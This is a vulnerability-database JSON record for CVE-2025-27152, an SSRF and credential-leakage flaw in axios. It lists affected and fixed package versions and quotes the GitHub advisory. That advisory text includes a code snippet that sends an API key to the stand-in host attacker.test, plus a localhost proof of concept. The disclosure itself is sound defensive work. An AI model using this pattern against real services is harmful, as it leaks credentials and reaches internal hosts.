{"id":"CVE-2025-27152","aliases":["CLSA-2026-1774225185","CLSA-2026-1774225186","CLSA-2026-1776991067","CLSA-2026-1782521951","CLSA-2026-1782781178","CLSA-2026-1782867613","CLSA-2026-1783040460","CLSA-2026-1783299714","CLSA-2026-1784769505","CLSA-2026-1784769531","CLSA-2026-1784856205","CLSA-2026-1785468080","DEBIAN-CVE-2025-27152","EUVD-2025-7731","GHSA-7q8q-rj6j-mhjq","GHSA-jr5f-v2jv-69x6","SUSE-SU-2025:01326-1","SUSE-SU-2025:1227-1","SUSE-SU-2025:1326-1","UBUNTU-CVE-2025-27152","openSUSE-SU-2025:15307-1"],"status":"published","title":"Possible SSRF and Credential Leakage via Absolute URL in axios Requests","description":"axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.","severity":{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00792,"percentile":0.56587,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-918"],"published":"2025-03-07T15:13:15Z","modified":"2026-10-28T02:31:11Z","exploits":[{"source":"pocgithub","id":"andreglock/axios-ssrf","title":"andreglock/axios-ssrf","date":"2025-03-30","url":"https://github.com/andreglock/axios-ssrf"},{"source":"pocgithub","id":"davidblakecoe/axios-CVE-2025-27152-PoC","title":"davidblakecoe/axios-CVE-2025-27152-PoC","date":"2025-06-06","url":"https://github.com/davidblakecoe/axios-CVE-2025-27152-PoC"}],"fixes":[{"ecosystem":"npm","package":"axios","fixed_in":["1.8.2","0.30.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:13","package":"node-axios","fixed_in":["1.8.4+dfsg-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-axios","fixed_in":["1.8.4+dfsg-1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP6","package":"pgadmin4","fixed_in":["8.5-150600.3.9.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 15.6","package":"pgadmin4","fixed_in":["8.5-150600.3.9.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"1.8.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.30.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.27.2-tuxcare.0"},{"fixed":"0.27.2-tuxcare.1"}]}],"versions":["0.27.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.18.1-tuxcare.0"},{"fixed":"0.18.1-tuxcare.1"}]}],"versions":["0.18.1"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.15.3-tuxcare.0"},{"fixed":"0.15.3-tuxcare.1"}]}],"versions":["0.15.3"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.19.2-tuxcare.0"},{"fixed":"0.19.2-tuxcare.1"}]}],"versions":["0.19.2"],"bundled":17},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.21.1-tuxcare.0"},{"fixed":"0.21.1-tuxcare.1"}]}],"versions":["0.21.1"],"bundled":16},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.21.4-tuxcare.0"},{"fixed":"0.21.4-tuxcare.1"}]}],"versions":["0.21.4"],"bundled":15},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.24.0-tuxcare.0"},{"fixed":"0.24.0-tuxcare.1"}]}],"versions":["0.24.0"],"bundled":15},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.1-tuxcare.0"},{"fixed":"0.26.1-tuxcare.1"}]}],"versions":["0.26.1"],"bundled":15},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.7-tuxcare.0"},{"fixed":"1.7.7-tuxcare.3"}]}],"versions":["1.7.7","1.7.7-tuxcare.1","1.7.7-tuxcare.2"],"bundled":18},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.5-tuxcare.0"},{"fixed":"1.7.5-tuxcare.2"}]}],"versions":["1.7.5","1.7.5-tuxcare.1"],"bundled":18},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.9-tuxcare.0"},{"fixed":"1.7.9-tuxcare.1"}]}],"versions":["1.7.9"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0-tuxcare.0"},{"fixed":"0.26.0-tuxcare.4"}]}],"versions":["0.26.0","0.26.0-tuxcare.1","0.26.0-tuxcare.2","0.26.0-tuxcare.3"],"bundled":14},{"source":"osv","ecosystem":"Debian:12","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.2.1+dfsg-1","1.2.1+dfsg-1+deb12u1","1.20.0-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-1","1.6.8+dfsg-2","1.7.3+dfsg-1","1.7.4+dfsg-1","1.7.7+dfsg-1","1.7.9+dfsg-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.4+dfsg-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.4+dfsg-1"}]}]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.8.2"}]}]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.30.0"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP6","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP6","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.5-150600.3.9.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.5-150600.3.9.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP6","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP3-LTSS","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP3-LTSS","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP3","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy 4.3","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server 4.3","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Enterprise Storage 7.1","package":"pgadmin4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.30-150300.3.18.1"}]}],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.0+dfsg-2","0.19.0+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.1+dfsg-1","0.23.0+dfsg-2","0.24.0+dfsg-1","0.25.0+dfsg-2","0.26.0+dfsg-1","0.26.0+dfsg-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1+dfsg-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-2","1.6.8+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.7.9+dfsg-1","1.8.4+dfsg-1","1.11.0+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.13.2+dfsg-1build1","1.16.0-1","1.18.0-1","1.19.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.2+dfsg-1build1","1.13.2+dfsg-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"velociraptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.0.4.git163.87ee3570-1.1"}]}],"bundled":3}],"products":[{"vendor":"axios","product":"axios"}],"references":[{"url":"https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/axios/axios/issues/6463","tags":["x_refsource_MISC","Broken Link","report","web"]},{"url":"https://github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f","tags":["web"]},{"url":"https://github.com/axios/axios/releases/tag/v1.8.2","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27152","tags":["advisory"]},{"url":"https://github.com/axios/axios/pull/6829","tags":["web"]},{"url":"https://github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde","tags":["web"]},{"url":"https://github.com/advisories/GHSA-jr5f-v2jv-69x6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/27xxx/CVE-2025-27152.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-27152","tags":["advisory"]},{"url":"https://github.com/axios/axios","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-202501326-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1224295","tags":["report"]},{"url":"https://bugzilla.suse.com/1234840","tags":["report"]},{"url":"https://bugzilla.suse.com/1239308","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2023-1907","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-4068","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-27152","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-20251227-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-20251326-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-27152","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-27152","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-27144","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-30204","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2025-27152","title":"Possible SSRF and Credential Leakage via Absolute URL in axios Requests","description":"axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.","status":"published","published":"2025-03-07T15:13:15.155Z","modified":"2025-03-07T19:32:17.511Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:32:42.751171Z"}],"euvd":[{"id":"EUVD-2025-7731","description":"axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.","status":"published","published":"2025-03-07T15:13:15Z","modified":"2025-03-07T19:32:17Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T20:53:10.22972Z"}],"ghsa":[{"id":"GHSA-jr5f-v2jv-69x6","title":"axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL","description":"### Summary\n\nA previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463\n\nA similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.\n\n### Details\n\nConsider the following code snippet:\n\n```js\nimport axios from \"axios\";\n\nconst internalAPIClient = axios.create({\n  baseURL: \"http://example.test/api/v1/users/\",\n  headers: {\n    \"X-API-KEY\": \"1234567890\",\n  },\n});\n\n// const userId = \"123\";\nconst userId = \"http://attacker.test/\";\n\nawait internalAPIClient.get(userId); // SSRF\n```\n\nIn this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers.\n\nIt is recommended that:\n\n-\tWhen `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`.\n-\tBefore sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`.\n\n### PoC\n\nFollow the steps below to reproduce the issue:\n\n1.\tSet up two simple HTTP servers:\n\n```\nmkdir /tmp/server1 /tmp/server2\necho \"this is server1\" \u003e /tmp/server1/index.html \necho \"this is server2\" \u003e /tmp/server2/index.html\npython -m http.server -d /tmp/server1 10001 \u0026\npython -m http.server -d /tmp/server2 10002 \u0026\n```\n\n\n2.\tCreate a script (e.g., main.js):\n\n```js\nimport axios from \"axios\";\nconst client = axios.create({ baseURL: \"http://localhost:10001/\" });\nconst response = await client.get(\"http://localhost:10002/\");\nconsole.log(response.data);\n```\n\n3.\tRun the script:\n\n```\n$ node main.js\nthis is server2\n```\n\nEven though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`.\n\n### Impact\n\n-\tCredential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.\n-\tSSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.\n-\tAffected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue.","status":"published","published":"2025-03-07T15:16:00Z","modified":"2025-11-27T08:44:29Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:39:10.178331Z"}],"nvd":[{"id":"CVE-2025-27152","description":"axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.","status":"published","published":"2025-03-07T16:15:38.773Z","modified":"2026-06-17T09:03:06.57Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:10:53.101324Z"}],"osv":[{"id":"CVE-2025-27152","title":"Possible SSRF and Credential Leakage via Absolute URL in axios Requests","description":"axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.","status":"published","published":"2025-03-07T15:13:15.155Z","modified":"2026-10-28T02:31:11.609263403Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:44:47.386092Z"},{"id":"DEBIAN-CVE-2025-27152","description":"axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.","status":"published","published":"2025-03-07T16:15:38.773Z","modified":"2026-09-01T20:05:45.038719721Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:45.870237Z"},{"id":"GHSA-jr5f-v2jv-69x6","title":"axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL","description":"### Summary\n\nA previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463\n\nA similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.\n\n### Details\n\nConsider the following code snippet:\n\n```js\nimport axios from \"axios\";\n\nconst internalAPIClient = axios.create({\n  baseURL: \"http://example.test/api/v1/users/\",\n  headers: {\n    \"X-API-KEY\": \"1234567890\",\n  },\n});\n\n// const userId = \"123\";\nconst userId = \"http://attacker.test/\";\n\nawait internalAPIClient.get(userId); // SSRF\n```\n\nIn this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers.\n\nIt is recommended that:\n\n-\tWhen `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`.\n-\tBefore sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`.\n\n### PoC\n\nFollow the steps below to reproduce the issue:\n\n1.\tSet up two simple HTTP servers:\n\n```\nmkdir /tmp/server1 /tmp/server2\necho \"this is server1\" \u003e /tmp/server1/index.html \necho \"this is server2\" \u003e /tmp/server2/index.html\npython -m http.server -d /tmp/server1 10001 \u0026\npython -m http.server -d /tmp/server2 10002 \u0026\n```\n\n\n2.\tCreate a script (e.g., main.js):\n\n```js\nimport axios from \"axios\";\nconst client = axios.create({ baseURL: \"http://localhost:10001/\" });\nconst response = await client.get(\"http://localhost:10002/\");\nconsole.log(response.data);\n```\n\n3.\tRun the script:\n\n```\n$ node main.js\nthis is server2\n```\n\nEven though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`.\n\n### Impact\n\n-\tCredential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.\n-\tSSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.\n-\tAffected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue.","status":"published","published":"2025-03-07T15:16:00Z","modified":"2026-09-10T03:50:56.787685282Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:50.687609Z"},{"id":"UBUNTU-CVE-2025-27152","description":"axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.","status":"published","published":"2025-03-07T16:15:00Z","modified":"2026-10-17T12:56:48.994245881Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T16:55:26.330196Z"},{"id":"CLSA-2026-1774225185","title":"TuxCare security update for axios (2 CVEs)","description":"TuxCare rebuilt axios to address 2 CVEs. Fixed in 0.27.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:14Z","modified":"2026-10-15T09:46:57.212655185Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1774225186","title":"TuxCare security update for axios (5 CVEs)","description":"TuxCare rebuilt axios to address 5 CVEs. Fixed in 0.18.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:14Z","modified":"2026-10-15T09:47:02.160008442Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1776991067","title":"TuxCare security update for axios (6 CVEs)","description":"TuxCare rebuilt axios to address 6 CVEs. Fixed in 0.15.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:28Z","modified":"2026-10-15T13:57:54.838790817Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1782521951","title":"TuxCare security update for axios (17 CVEs)","description":"TuxCare rebuilt axios to address 17 CVEs. Fixed in 0.19.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:39Z","modified":"2026-10-15T09:47:51.501643897Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1782781178","title":"TuxCare security update for axios (16 CVEs)","description":"TuxCare rebuilt axios to address 16 CVEs. Fixed in 0.21.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:40Z","modified":"2026-10-15T13:57:56.893232091Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1782867613","title":"TuxCare security update for axios (15 CVEs)","description":"TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.21.4-tuxcare.1.","status":"published","published":"2026-08-04T14:52:40Z","modified":"2026-10-15T09:47:51.552498386Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1783040460","title":"TuxCare security update for axios (15 CVEs)","description":"TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.24.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:41Z","modified":"2026-10-15T13:57:55.491180345Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1783299714","title":"TuxCare security update for axios (15 CVEs)","description":"TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.26.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:42Z","modified":"2026-10-15T09:48:03.671467748Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1784769505","title":"TuxCare security update for axios (18 CVEs)","description":"TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.7-tuxcare.3.","status":"published","published":"2026-08-04T14:52:47Z","modified":"2026-10-15T09:47:54.377144369Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784769531","title":"TuxCare security update for axios (18 CVEs)","description":"TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.5-tuxcare.2.","status":"published","published":"2026-08-04T14:52:47Z","modified":"2026-10-15T09:47:36.840967341Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784856205","title":"TuxCare security update for axios (21 CVEs)","description":"TuxCare rebuilt axios to address 21 CVEs. Fixed in 1.7.9-tuxcare.1.","status":"published","published":"2026-08-04T14:52:48Z","modified":"2026-10-15T09:47:55.013314732Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1785468080","title":"TuxCare security update for axios (15 CVEs)","description":"TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.26.0-tuxcare.4.","status":"published","published":"2026-08-04T14:52:51Z","modified":"2026-10-25T07:28:08.497556196Z","updated_at":"2026-11-02T15:43:46.850893Z"},{"id":"openSUSE-SU-2025:15307-1","title":"velociraptor-0.7.0.4.git163.87ee3570-1.1 on GA media","description":"These are all security issues fixed in the velociraptor-0.7.0.4.git163.87ee3570-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-07-03T00:00:00Z","modified":"2026-03-23T04:53:37.858922Z","updated_at":"2026-11-02T16:58:37.810934Z"},{"id":"SUSE-SU-2025:01326-1","title":"Security update for pgadmin4","description":"This update for pgadmin4 fixes the following issues:\n\n- CVE-2025-27152: Fixed SSRF and creadential leakage due to requests sent to absolute URL even when baseURL is set (bsc#1239308)\n- CVE-2023-1907: Fixed an issue which could result in users being authenticated in another user's session if two users authenticate simultaneously via ldap (bsc#1234840)\n- CVE-2024-4068: Fixed a possible memory exhaustion 